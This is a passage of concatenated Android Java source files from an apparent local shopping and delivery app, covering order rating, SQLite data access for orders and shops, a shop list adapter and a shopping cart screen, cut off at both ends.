public static final String _ID = "_id"; public static final String USER_ID = "user_id"; public static final String SHOP_ID = "shop_id"; public static final String SHOP_NAME = "shop_name"; public static final String SHOP_ADDRESS = "shop_address"; public static final String SQL_CREATE_SHOPPING_CART = "CREATE TABLE " + TABLE_NAME + " (" + _ID + " INTEGER PRIMARY KEY," + USER_ID + " TEXT," + SHOP_ID + " INTEGER," + SHOP_NAME + " TEXT," + SHOP_ADDRESS + " TEXT)"; } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/order/OrderEvaluationActivity.java package cn.com.findfine.jddaojia.order; import android.content.Intent; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.support.v7.widget.Toolbar; import android.text.TextUtils; import android.util.Log; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.ImageView; import android.widget.TextView; import android.widget.Toast; import org.json.JSONException; import org.json.JSONObject; import java.io.IOException; import java.util.ArrayList; import java.util.List; import cn.com.findfine.jddaojia.BaseActivity; import cn.com.findfine.jddaojia.R; import cn.com.findfine.jddaojia.data.bean.GoodsOrderBean; import cn.com.findfine.jddaojia.http.HttpRequest; import okhttp3.Call; import okhttp3.Callback; import okhttp3.FormBody; import okhttp3.Response; public class OrderEvaluationActivity extends BaseActivity implements View.OnClickListener { private List<ImageView> imageViews; private TextView tvEvaluationResult; private String evaluationContent = ""; private int orderEvaluation = 0; private GoodsOrderBean goodsOrderBean; private EditText etEvaluationContent; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_order_evaluation); Toolbar toolbar = findViewById(R.id.toolbar); toolbar.setTitle("订单评价"); setSupportActionBar(toolbar); getSupportActionBar().setDisplayHomeAsUpEnabled(true); toolbar.setNavigationOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { onBackPressed(); } }); Intent intent = getIntent(); goodsOrderBean = intent.getParcelableExtra("order_bean"); init(); } private void init() { ImageView ivStar_1 = findViewById(R.id.iv_star_1); ImageView ivStar_2 = findViewById(R.id.iv_star_2); ImageView ivStar_3 = findViewById(R.id.iv_star_3); ImageView ivStar_4 = findViewById(R.id.iv_star_4); ImageView ivStar_5 = findViewById(R.id.iv_star_5); tvEvaluationResult = findViewById(R.id.tv_evaluation_result); etEvaluationContent = findViewById(R.id.et_evaluation_content); Button btnCommitEvaluation = findViewById(R.id.btn_commit_evaluation); btnCommitEvaluation.setOnClickListener(this); imageViews = new ArrayList<>(); imageViews.add(ivStar_1); imageViews.add(ivStar_2); imageViews.add(ivStar_3); imageViews.add(ivStar_4); imageViews.add(ivStar_5); if (goodsOrderBean.getOrderEvaluation() > 0) { setStarStatus(goodsOrderBean.getOrderEvaluation()); } else { for (ImageView imageView : imageViews) { imageView.setOnClickListener(this); } } } @Override public void onClick(View v) { switch (v.getId()) { case R.id.iv_star_1: setStarStatus(1); evaluationContent = "非常不满意"; tvEvaluationResult.setText(evaluationContent); orderEvaluation = 1; break; case R.id.iv_star_2: setStarStatus(2); evaluationContent = "不满意"; tvEvaluationResult.setText(evaluationContent); orderEvaluation = 2; break; case R.id.iv_star_3: setStarStatus(3); evaluationContent = "一般"; tvEvaluationResult.setText(evaluationContent); orderEvaluation = 3; break; case R.id.iv_star_4: setStarStatus(4); evaluationContent = "满意"; tvEvaluationResult.setText(evaluationContent); orderEvaluation = 4; break; case R.id.iv_star_5: setStarStatus(5); evaluationContent = "非常满意"; tvEvaluationResult.setText(evaluationContent); orderEvaluation = 5; break; case R.id.btn_commit_evaluation: if (goodsOrderBean.getOrderEvaluation() > 0) { Toast.makeText(OrderEvaluationActivity.this, "你已经评价了", Toast.LENGTH_SHORT).show(); return ; } if (orderEvaluation > 0) { String orderEvaluationContent = etEvaluationContent.getText().toString(); if (TextUtils.isEmpty(orderEvaluationContent)) { orderEvaluationContent = evaluationContent; } commitOrderEvaluation(orderEvaluation, orderEvaluationContent); } else { Toast.makeText(OrderEvaluationActivity.this, "你没有对订单做出评价", Toast.LENGTH_SHORT).show(); } break; } } private void commitOrderEvaluation(int orderEvaluation, String evaluationContent) { FormBody.Builder builder = new FormBody.Builder(); builder.add("order_id", goodsOrderBean.getOrderId()); builder.add("order_evalution", String.valueOf(orderEvaluation)); builder.add("evalution_content", evaluationContent); HttpRequest.requestPost("order_evalution.php", builder, new Callback() { @Override public void onFailure(Call call, IOException e) { } @Override public void onResponse(Call call, Response response) throws IOException { String result = response.body().string(); Log.i("Response", result); try { JSONObject jsonObj = new JSONObject(result); String success = jsonObj.getString("success"); if ("true".equals(success)) { handler.sendEmptyMessage(1); } } catch (JSONException e) { e.printStackTrace(); } } }); } private void setStarStatus(int evaluation) { for (int i = 0; i < evaluation; i++) { imageViews.get(i).setBackgroundResource(R.mipmap.order_star_light); } for (int i = evaluation; i < 5; i++) { imageViews.get(i).setBackgroundResource(R.mipmap.order_star); } } private Handler handler = new Handler() { @Override public void handleMessage(Message msg) { super.handleMessage(msg); if (msg.what == 1) { Toast.makeText(OrderEvaluationActivity.this, "订单评价提交成功", Toast.LENGTH_SHORT).show(); Intent intent = new Intent(); intent.putExtra("is_evaluation", true); setResult(1212, intent); finish(); } } }; } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/data/db/dao/GoodsOrderDao.java package cn.com.findfine.jddaojia.data.db.dao; import android.content.ContentValues; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import java.util.ArrayList; import java.util.List; import cn.com.findfine.jddaojia.data.bean.GoodsOrderBean; import cn.com.findfine.jddaojia.data.db.JdDaojiaDbHelper; import cn.com.findfine.jddaojia.data.db.contract.GoodsOrderContract; public class GoodsOrderDao { private JdDaojiaDbHelper dbHelper; public GoodsOrderDao() { dbHelper = JdDaojiaDbHelper.getInstance(); } public boolean insertOrder(GoodsOrderBean goodsOrderBean) { SQLiteDatabase db = dbHelper.getWritableDatabase(); ContentValues values = new ContentValues(); values.put(GoodsOrderContract.USER_ID, goodsOrderBean.getUserId()); values.put(GoodsOrderContract.ORDER_NUMBER, goodsOrderBean.getOrderNumber()); values.put(GoodsOrderContract.CREATE_ORDER_TIME, goodsOrderBean.getCreateOrderTime()); // values.put(GoodsOrderContract.ORDER_STATUS, goodsOrderBean.getOrderStatus()); values.put(GoodsOrderContract.SHOP_ID, goodsOrderBean.getShopId()); values.put(GoodsOrderContract.SHOP_NAME, goodsOrderBean.getShopName()); // values.put(GoodsOrderContract.GOODS_ARRAY, goodsOrderBean.getGoodsArray()); values.put(GoodsOrderContract.GOODS_PRICE, goodsOrderBean.getGoodsPrice()); values.put(GoodsOrderContract.USER_ADDRESS, goodsOrderBean.getUserAddress()); values.put(GoodsOrderContract.ORDER_EVALUATION, goodsOrderBean.getOrderEvaluation()); long insert = db.insert(GoodsOrderContract.TABLE_NAME, null, values); return insert != -1; } public int deleteOrderById(int id) { SQLiteDatabase db = dbHelper.getWritableDatabase(); return db.delete(GoodsOrderContract.TABLE_NAME, GoodsOrderContract._ID + "=?", new String[]{String.valueOf(id)}); } public boolean updateOrder(String orderNumber, int orderStatus) { SQLiteDatabase db = dbHelper.getWritableDatabase(); ContentValues values = new ContentValues(); values.put(GoodsOrderContract.ORDER_STATUS, orderStatus); int update = db.update(GoodsOrderContract.TABLE_NAME, values, GoodsOrderContract.ORDER_NUMBER + "=?", new String[]{orderNumber}); return update >= 0; } public boolean updateOrderEvaluation(String orderNumber, int orderEvaluation) { SQLiteDatabase db = dbHelper.getWritableDatabase(); ContentValues values = new ContentValues(); values.put(GoodsOrderContract.ORDER_EVALUATION, orderEvaluation); int update = db.update(GoodsOrderContract.TABLE_NAME, values, GoodsOrderContract.ORDER_NUMBER + "=?", new String[]{orderNumber}); return update >= 0; } public List<GoodsOrderBean> queryAllOrderByUserId(String userId) { List<GoodsOrderBean> goodsOrderBeans = new ArrayList<>(); SQLiteDatabase db = dbHelper.getReadableDatabase(); Cursor cursor = db.query(GoodsOrderContract.TABLE_NAME, null, GoodsOrderContract.USER_ID + "=?", new String[]{userId}, null, null, GoodsOrderContract._ID + " DESC"); while (cursor.moveToNext()) { GoodsOrderBean goodsOrderBean = new GoodsOrderBean(); // goodsOrderBean.setId(cursor.getInt(cursor.getColumnIndex(GoodsOrderContract._ID))); goodsOrderBean.setOrderNumber(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.ORDER_NUMBER))); goodsOrderBean.setCreateOrderTime(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.CREATE_ORDER_TIME))); goodsOrderBean.setOrderStatus(cursor.getInt(cursor.getColumnIndex(GoodsOrderContract.ORDER_STATUS))); goodsOrderBean.setShopId(cursor.getInt(cursor.getColumnIndex(GoodsOrderContract.SHOP_ID))); goodsOrderBean.setShopName(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.SHOP_NAME))); // goodsOrderBean.setGoodsArray(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.GOODS_ARRAY))); goodsOrderBean.setGoodsPrice(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.GOODS_PRICE))); goodsOrderBean.setUserAddress(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.USER_ADDRESS))); goodsOrderBean.setOrderEvaluation(cursor.getInt(cursor.getColumnIndex(GoodsOrderContract.ORDER_EVALUATION))); goodsOrderBeans.add(goodsOrderBean); } cursor.close(); return goodsOrderBeans; } public GoodsOrderBean queryOrderByOrderNumber(String orderNumber) { SQLiteDatabase db = dbHelper.getReadableDatabase(); Cursor cursor = db.query(GoodsOrderContract.TABLE_NAME, null, GoodsOrderContract.ORDER_NUMBER + "=?", new String[]{orderNumber}, null, null, GoodsOrderContract._ID + " DESC"); GoodsOrderBean goodsOrderBean = null; if (cursor.moveToNext()) { goodsOrderBean = new GoodsOrderBean(); // goodsOrderBean.setId(cursor.getInt(cursor.getColumnIndex(GoodsOrderContract._ID))); goodsOrderBean.setOrderNumber(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.ORDER_NUMBER))); goodsOrderBean.setCreateOrderTime(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.CREATE_ORDER_TIME))); goodsOrderBean.setOrderStatus(cursor.getInt(cursor.getColumnIndex(GoodsOrderContract.ORDER_STATUS))); goodsOrderBean.setShopId(cursor.getInt(cursor.getColumnIndex(GoodsOrderContract.SHOP_ID))); goodsOrderBean.setShopName(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.SHOP_NAME))); // goodsOrderBean.setGoodsArray(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.GOODS_ARRAY))); goodsOrderBean.setGoodsPrice(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.GOODS_PRICE))); goodsOrderBean.setUserAddress(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.USER_ADDRESS))); goodsOrderBean.setOrderEvaluation(cursor.getInt(cursor.getColumnIndex(GoodsOrderContract.ORDER_EVALUATION))); } cursor.close(); return goodsOrderBean; } public List<GoodsOrderBean> queryEvaluationOrder() { List<GoodsOrderBean> goodsOrderBeans = new ArrayList<>(); SQLiteDatabase db = dbHelper.getReadableDatabase(); Cursor cursor = db.query(GoodsOrderContract.TABLE_NAME, null, GoodsOrderContract.ORDER_EVALUATION + ">?", new String[]{"0"}, null, null, GoodsOrderContract._ID + " DESC"); while (cursor.moveToNext()) { GoodsOrderBean goodsOrderBean = new GoodsOrderBean(); // goodsOrderBean.setId(cursor.getInt(cursor.getColumnIndex(GoodsOrderContract._ID))); goodsOrderBean.setUserId(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.USER_ID))); goodsOrderBean.setOrderNumber(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.ORDER_NUMBER))); goodsOrderBean.setCreateOrderTime(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.CREATE_ORDER_TIME))); goodsOrderBean.setOrderStatus(cursor.getInt(cursor.getColumnIndex(GoodsOrderContract.ORDER_STATUS))); goodsOrderBean.setShopId(cursor.getInt(cursor.getColumnIndex(GoodsOrderContract.SHOP_ID))); goodsOrderBean.setShopName(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.SHOP_NAME))); // goodsOrderBean.setGoodsArray(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.GOODS_ARRAY))); goodsOrderBean.setGoodsPrice(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.GOODS_PRICE))); goodsOrderBean.setUserAddress(cursor.getString(cursor.getColumnIndex(GoodsOrderContract.USER_ADDRESS))); goodsOrderBean.setOrderEvaluation(cursor.getInt(cursor.getColumnIndex(GoodsOrderContract.ORDER_EVALUATION))); goodsOrderBeans.add(goodsOrderBean); } cursor.close(); return goodsOrderBeans; } } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/adapter/HomePageAdapter.java package cn.com.findfine.jddaojia.adapter; import android.content.Context; import android.content.Intent; import android.support.v7.widget.RecyclerView; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.TextView; import com.bumptech.glide.Glide; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import java.util.ArrayList; import java.util.List; import cn.com.findfine.jddaojia.R; import cn.com.findfine.jddaojia.data.JsonData; import cn.com.findfine.jddaojia.data.bean.GoodsBean; import cn.com.findfine.jddaojia.data.bean.ShopBean; import cn.com.findfine.jddaojia.shop.ShopDetialActivity; public class HomePageAdapter extends RecyclerView.Adapter<HomePageAdapter.ViewHolder> { private Context context; private List<ShopBean> shopBeans; public HomePageAdapter(Context context) { this.context = context; } public void setShopBeans(List<ShopBean> shopBeans) { this.shopBeans = shopBeans; } private void initData() { try { JSONArray jsonArray = new JSONArray(JsonData.SHOP_GOODS); for (int i = 0; i < jsonArray.length(); i++) { ShopBean shopBean = new ShopBean(); JSONObject shopObject = jsonArray.getJSONObject(i); shopBean.setShopName(shopObject.getString("shop_name")); shopBean.setShopPhoto(shopObject.getString("shop_photo")); JSONArray goodsList = shopObject.getJSONArray("goods_list"); ArrayList<GoodsBean> goodsBeans = new ArrayList<>(); for (int j = 0; j < goodsList.length(); j++) { JSONObject goodsObject = goodsList.getJSONObject(j); GoodsBean goodsBean = new GoodsBean(); goodsBean.setGoodsName(goodsObject.getString("goods_name")); goodsBean.setGoodsPhoto(goodsObject.getString("goods_photo")); // goodsBean.setGoodsPrice((float) goodsObject.getDouble("goods_price")); goodsBeans.add(goodsBean); } shopBean.setGoodsBeans(goodsBeans); shopBeans.add(shopBean); } } catch (JSONException e) { e.printStackTrace(); } } @Override public ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) { // View view = View.inflate(parent.getContext(), R.layout.item_home_page, parent); View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_home_page, parent, false); return new ViewHolder(view); } @Override public void onBindViewHolder(ViewHolder holder, int position) { ShopBean shopBean = shopBeans.get(position); // File file = new File(FileUtil.getCacheFilePath() + shopBean.getShopPhoto()); Glide.with(context).load("http://172.16.17.32/" + shopBean.getShopPhoto()).into(holder.ivShopPhoto); holder.tvShopName.setText(shopBean.getShopName()); holder.tvSoppInfo.setText(shopBean.getShopAddress()); } @Override public int getItemCount() { if (shopBeans == null) { return 0; } return shopBeans.size(); } class ViewHolder extends RecyclerView.ViewHolder { ImageView ivShopPhoto; TextView tvShopName; TextView tvSoppInfo; public ViewHolder(final View itemView) { super(itemView); ivShopPhoto = itemView.findViewById(R.id.iv_shop_photo); tvShopName = itemView.findViewById(R.id.tv_shop_name); tvSoppInfo = itemView.findViewById(R.id.tv_sopp_info); itemView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent(context, ShopDetialActivity.class); intent.putExtra("shop_info", shopBeans.get(getLayoutPosition())); context.startActivity(intent); // JSONArray jsonArray = new JSONArray(); // JSONObject jsonObject = new JSONObject(); // try { // jsonObject.put("shop_id", 100001); // jsonObject.put("shop_name", "周黑鸭"); // jsonObject.put("shop_photo", "100.jpg"); // jsonObject.put("shop_address", "青岛市城阳区村里"); // // JSONArray goodsArray = new JSONArray(); // JSONObject goodsObject = new JSONObject(); // goodsObject.put("goods_id", 100); // goodsObject.put("shop_id", 100001); // goodsObject.put("goods_name", "鸭脖"); // goodsObject.put("goods_photo", "100001.jpg"); // goodsObject.put("goods_price", 6.6); // goodsObject.put("goods_category", "category"); // goodsObject.put("goods_sales_volume", 10); // goodsArray.put(goodsObject); // // jsonObject.put("goods_list", goodsArray); // } catch (JSONException e) { // e.printStackTrace(); // } // jsonArray.put(jsonObject); // // Log.i("YYY", jsonArray.toString()); } }); } } } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/shopcart/ShopCartActivity.java package cn.com.findfine.jddaojia.shopcart; import android.content.Intent; import android.os.Bundle; import android.support.annotation.NonNull; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.support.v7.widget.Toolbar; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.TextView; import com.bumptech.glide.Glide; import java.util.List; import cn.com.findfine.jddaojia.BaseActivity; import cn.com.findfine.jddaojia.Constant; import cn.com.findfine.jddaojia.R; import cn.com.findfine.jddaojia.data.bean.GoodsBean; import cn.com.findfine.jddaojia.data.db.dao.ShoppingCartGoodsDao; import cn.com.findfine.jddaojia.data.db.dao.ShoppingCartShopDao; import cn.com.findfine.jddaojia.http.HttpUrl; import cn.com.findfine.jddaojia.order.NewOrderActivity; import cn.com.findfine.jddaojia.shop.GoodsDetialActivity; import cn.com.findfine.jddaojia.utils.SharedPreferencesUtil; public class ShopCartActivity extends BaseActivity implements View.OnClickListener { private RecyclerView rvShopCart; private List<GoodsBean> goodsBeans; private String userId; private ShoppingCartShopDao shoppingCartShopDao = null; private ShoppingCartGoodsDao shoppingCartGoodsDao = null; private ShopCartAdapter shopCartAdapter; private View tvGotoPay; private TextView tvCartGoodsPrice; private int shopId; private String shopName; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_shop_cart); Toolbar toolbar = findViewById(R.id.toolbar); toolbar.setTitle("购物车"); setSupportActionBar(toolbar); getSupportActionBar().setDisplayHomeAsUpEnabled(true); toolbar.setNavigationOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { onBackPressed(); } }); userId = SharedPreferencesUtil.getUserAccount(this); init(); } private void init() { Intent intent = getIntent(); shopId = intent.getIntExtra("shop_id", 0); shopName = intent.getStringExtra("shop_name"); tvGotoPay = findViewById(R.id.tv_goto_pay); tvCartGoodsPrice = findViewById(R.id.tv_cart_goods_price); tvGotoPay.setOnClickListener(this); shoppingCartGoodsDao = new ShoppingCartGoodsDao(); goodsBeans = shoppingCartGoodsDao.queryGoodsCartByUserIdAndShopId(SharedPreferencesUtil.getUserAccount(this), shopId); setBottomStatus(); rvShopCart = findViewById(R.id.rv_shop_cart); rvShopCart.setLayoutManager(new LinearLayoutManager(this)); shopCartAdapter = new ShopCartAdapter(); rvShopCart.setAdapter(shopCartAdapter); } @Override public void onClick(View v) { switch (v.getId()) { case R.id.tv_goto_pay: Intent gotoPayIntent = new Intent(this, NewOrderActivity.class); gotoPayIntent.putExtra("shop_id", shopId); gotoPayIntent.putExtra("shop_name", shopName); startActivity(gotoPayIntent); break; } } private void setBottomStatus() { if (goodsBeans.size() <= 0) { tvGotoPay.setEnabled(false); tvGotoPay.setBackgroundColor(getResources().getColor(R.color.color_shop_deteil_gray)); tvCartGoodsPrice.setText("¥0"); return ; } tvGotoPay.setEnabled(true); tvGotoPay.setBackgroundColor(getResources().getColor(R.color.color_main_selected)); float cartGoodsPrice = 0.0f; for (GoodsBean goodsBean : goodsBeans) { cartGoodsPrice += goodsBean.getGoodsPrice() * goodsBean.getGoodsCartCount(); } tvCartGoodsPrice.setText("¥" + String.valueOf(cartGoodsPrice)); } class ShopCartAdapter extends RecyclerView.Adapter<ViewHolder> { @NonNull @Override public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_goods, parent, false); return new ViewHolder(view); } @Override public void onBindViewHolder(@NonNull ViewHolder holder, int position) { GoodsBean goodsBean = goodsBeans.get(position); Glide.with(ShopCartActivity.this).load(HttpUrl.BASE_URL + goodsBean.getGoodsPhoto()).into(holder.ivGoodsPhoto); holder.tvGoodsName.setText(goodsBean.getGoodsName()); holder.tvGoodsPrice.setText(String.valueOf(goodsBean.getGoodsPrice())); holder.tvGoodsCount.setText(String.valueOf(goodsBean.getGoodsCartCount())); } @Override public int getItemCount() { return goodsBeans.size(); } } class ViewHolder extends RecyclerView.ViewHolder implements View.OnClickListener { View btnSubtractGoods; View btnAddGoods; TextView tvGoodsCount; ImageView ivGoodsPhoto; TextView tvGoodsName; TextView tvGoodsPrice; public ViewHolder(View itemView) { super(itemView); itemView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { GoodsBean goodsBean = goodsBeans.get(getLayoutPosition()); Intent intent = new Intent(ShopCartActivity.this, GoodsDetialActivity.class); intent.putExtra("goods_info", goodsBean); startActivity(intent); } }); btnSubtractGoods = itemView.findViewById(R.id.btn_subtract_goods); btnAddGoods = itemView.findViewById(R.id.btn_add_goods); tvGoodsCount = itemView.findViewById(R.id.tv_goods_count); ivGoodsPhoto = itemView.findViewById(R.id.iv_goods_photo); tvGoodsName = itemView.findViewById(R.id.tv_goods_name); tvGoodsPrice = itemView.findViewById(R.id.tv_goods_price); btnSubtractGoods.setOnClickListener(this); btnAddGoods.setOnClickListener(this); } @Override public void onClick(View v) { switch (v.getId()) { case R.id.btn_subtract_goods: try { subtractGoods(); setBottomStatus(); } catch (Exception e) { e.printStackTrace(); } break; case R.id.btn_add_goods: try { addGoods(); setBottomStatus(); } catch (Exception e) { e.printStackTrace(); } break; } } private void subtractGoods() { GoodsBean goodsBean = goodsBeans.get(getLayoutPosition()); if (goodsBean.getGoodsCartCount() <= 0) { // Toast.makeText(context, "已经为0了", Toast.LENGTH_SHORT).show(); return ; } Intent intent = new Intent(); intent.putExtra(Constant.REFRESH_SHOP_CART, true); setResult(2001, intent); if (shoppingCartShopDao == null) { shoppingCartShopDao = new ShoppingCartShopDao(); } if (shoppingCartGoodsDao == null) { shoppingCartGoodsDao = new ShoppingCartGoodsDao(); } if (goodsBean.getGoodsCartCount() == 1) { goodsBean.setGoodsCartCount(0); shoppingCartGoodsDao.deleteGoodsCartById(goodsBean, userId); Log.i("DATA", "删除了goods cart"); List<GoodsBean> goodsBeanList = shoppingCartGoodsDao.queryGoodsCartByUserIdAndShopId(userId, goodsBean.getShopId()); if (goodsBeanList.size() <= 0) { shoppingCartShopDao.deleteShopCartById(userId, goodsBean.getShopId()); Log.i("DATA", "删除了shop cart"); } goodsBeans.remove(getLayoutPosition()); shopCartAdapter.notifyDataSetChanged(); } else { goodsBean.setGoodsCartCount(goodsBean.getGoodsCartCount() - 1); shoppingCartGoodsDao.updateGoodsCart(goodsBean, userId); } tvGoodsCount.setText(String.valueOf(goodsBean.getGoodsCartCount())); } private void addGoods() { Intent intent = new Intent(); intent.putExtra(Constant.REFRESH_SHOP_CART, true); setResult(2001, intent); if (shoppingCartShopDao == null) { shoppingCartShopDao = new ShoppingCartShopDao(); } GoodsBean goodsBean = goodsBeans.get(getLayoutPosition()); if (shoppingCartGoodsDao == null) { shoppingCartGoodsDao = new ShoppingCartGoodsDao(); } goodsBean.setGoodsCartCount(goodsBean.getGoodsCartCount() + 1); shoppingCartGoodsDao.updateGoodsCart(goodsBean, userId); tvGoodsCount.setText(String.valueOf(goodsBean.getGoodsCartCount())); } } } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/data/bean/GoodsOrderBean.java package cn.com.findfine.jddaojia.data.bean; import android.os.Parcel; import android.os.Parcelable; import java.util.List; public class GoodsOrderBean implements Parcelable { private String orderId; private String userId; private String orderNumber; private String createOrderTime; private int orderStatus; private int shopId; private String shopName; private List<GoodsBean> goodsArray; private String goodsPrice; private String userAddress; private int orderEvaluation = 0; private String evalutionContent; public GoodsOrderBean() { } protected GoodsOrderBean(Parcel in) { orderId = in.readString(); userId = in.readString(); orderNumber = in.readString(); createOrderTime = in.readString(); orderStatus = in.readInt(); shopId = in.readInt(); shopName = in.readString(); goodsArray = in.createTypedArrayList(GoodsBean.CREATOR); goodsPrice = in.readString(); userAddress = in.readString(); orderEvaluation = in.readInt(); evalutionContent = in.readString(); } public static final Creator<GoodsOrderBean> CREATOR = new Creator<GoodsOrderBean>() { @Override public GoodsOrderBean createFromParcel(Parcel in) { return new GoodsOrderBean(in); } @Override public GoodsOrderBean[] newArray(int size) { return new GoodsOrderBean[size]; } }; public String getOrderId() { return orderId; } public void setOrderId(String orderId) { this.orderId = orderId; } public String getUserId() { return userId; } public void setUserId(String userId) { this.userId = userId; } public String getOrderNumber() { return orderNumber; } public void setOrderNumber(String orderNumber) { this.orderNumber = orderNumber; } public String getCreateOrderTime() { return createOrderTime; } public void setCreateOrderTime(String createOrderTime) { this.createOrderTime = createOrderTime; } public int getOrderStatus() { return orderStatus; } public void setOrderStatus(int orderStatus) { this.orderStatus = orderStatus; } public int getShopId() { return shopId; } public void setShopId(int shopId) { this.shopId = shopId; } public String getShopName() { return shopName; } public void setShopName(String shopName) { this.shopName = shopName; } public List<GoodsBean> getGoodsArray() { return goodsArray; } public void setGoodsArray(List<GoodsBean> goodsArray) { this.goodsArray = goodsArray; } public String getGoodsPrice() { return goodsPrice; } public void setGoodsPrice(String goodsPrice) { this.goodsPrice = goodsPrice; } public String getUserAddress() { return userAddress; } public void setUserAddress(String userAddress) { this.userAddress = userAddress; } public int getOrderEvaluation() { return orderEvaluation; } public void setOrderEvaluation(int orderEvaluation) { this.orderEvaluation = orderEvaluation; } public String getEvalutionContent() { return evalutionContent; } public void setEvalutionContent(String evalutionContent) { this.evalutionContent = evalutionContent; } @Override public String toString() { return "GoodsOrderBean{" + "orderId=" + orderId + ", userId='" + userId + '\'' + ", orderNumber='" + orderNumber + '\'' + ", createOrderTime='" + createOrderTime + '\'' + ", orderStatus=" + orderStatus + ", shopId=" + shopId + ", shopName='" + shopName + '\'' + ", goodsArray='" + goodsArray + '\'' + ", goodsPrice='" + goodsPrice + '\'' + ", userAddress='" + userAddress + '\'' + ", orderEvaluation=" + orderEvaluation + ", evalutionContent=" + evalutionContent + '}'; } @Override public int describeContents() { return 0; } @Override public void writeToParcel(Parcel dest, int flags) { dest.writeString(orderId); dest.writeString(userId); dest.writeString(orderNumber); dest.writeString(createOrderTime); dest.writeInt(orderStatus); dest.writeInt(shopId); dest.writeString(shopName); dest.writeTypedList(goodsArray); dest.writeString(goodsPrice); dest.writeString(userAddress); dest.writeInt(orderEvaluation); dest.writeString(evalutionContent); } } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/data/db/dao/ShopDao.java package cn.com.findfine.jddaojia.data.db.dao; import android.content.ContentValues; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import java.util.ArrayList; import java.util.List; import cn.com.findfine.jddaojia.data.bean.ShopBean; import cn.com.findfine.jddaojia.data.db.JdDaojiaDbHelper; import cn.com.findfine.jddaojia.data.db.contract.ShopContract; public class ShopDao { private JdDaojiaDbHelper dbHelper; public ShopDao() { dbHelper = JdDaojiaDbHelper.getInstance(); } public boolean insertShop(ShopBean shopBean) { SQLiteDatabase db = dbHelper.getWritableDatabase(); ContentValues values = new ContentValues(); values.put(ShopContract.SHOP_ID, shopBean.getShopId()); values.put(ShopContract.SHOP_NAME, shopBean.getShopName()); values.put(ShopContract.SHOP_PHOTO, shopBean.getShopPhoto()); values.put(ShopContract.SHOP_ADDRESS, shopBean.getShopAddress()); long insert = db.insert(ShopContract.TABLE_NAME, null, values); return insert != -1; } public int deleteShopById(int id) { SQLiteDatabase db = dbHelper.getWritableDatabase(); return db.delete(ShopContract.TABLE_NAME, ShopContract._ID + "=?", new String[]{String.valueOf(id)}); } public boolean updateShop(ShopBean shopBean) { SQLiteDatabase db = dbHelper.getWritableDatabase(); ContentValues values = new ContentValues(); values.put(ShopContract.SHOP_ID, shopBean.getShopId()); values.put(ShopContract.SHOP_NAME, shopBean.getShopName()); values.put(ShopContract.SHOP_PHOTO, shopBean.getShopPhoto()); values.put(ShopContract.SHOP_ADDRESS, shopBean.getShopAddress()); int update = db.update(ShopContract.TABLE_NAME, values, ShopContract._ID + "=?", new String[]{String.valueOf(shopBean.getId())}); return update >= 0; } public List<ShopBean> queryAllShop() { List<ShopBean> shopBeans = new ArrayList<>(); SQLiteDatabase db = dbHelper.getReadableDatabase(); Cursor cursor = db.query(ShopContract.TABLE_NAME, null, null, null, null, null, ShopContract._ID + " DESC"); while (cursor.moveToNext()) { ShopBean shopBean = new ShopBean(); shopBean.setId(cursor.getInt(cursor.getColumnIndex(ShopContract._ID))); shopBean.setShopId(cursor.getInt(cursor.getColumnIndex(ShopContract.SHOP_ID))); shopBean.setShopName(cursor.getString(cursor.getColumnIndex(ShopContract.SHOP_NAME))); shopBean.setShopPhoto(cursor.getString(cursor.getColumnIndex(ShopContract.SHOP_PHOTO))); shopBean.setShopAddress(cursor.getString(cursor.getColumnIndex(ShopContract.SHOP_ADDRESS))); shopBeans.add(shopBean); } cursor.close(); return shopBeans; } public ShopBean queryShopByShopId(int shopId) { SQLiteDatabase db = dbHelper.getReadableDatabase(); Cursor cursor = db.query(ShopContract.TABLE_NAME, null, ShopContract.SHOP_ID + "=?", new String[]{String.valueOf(shopId)}, null, null, ShopContract._ID + " DESC"); ShopBean shopBean = null; if (cursor.moveToNext()) { shopBean = new ShopBean(); shopBean.setId(cursor.getInt(cursor.getColumnIndex(ShopContract._ID))); shopBean.setShopId(cursor.getInt(cursor.getColumnIndex(ShopContract.SHOP_ID))); 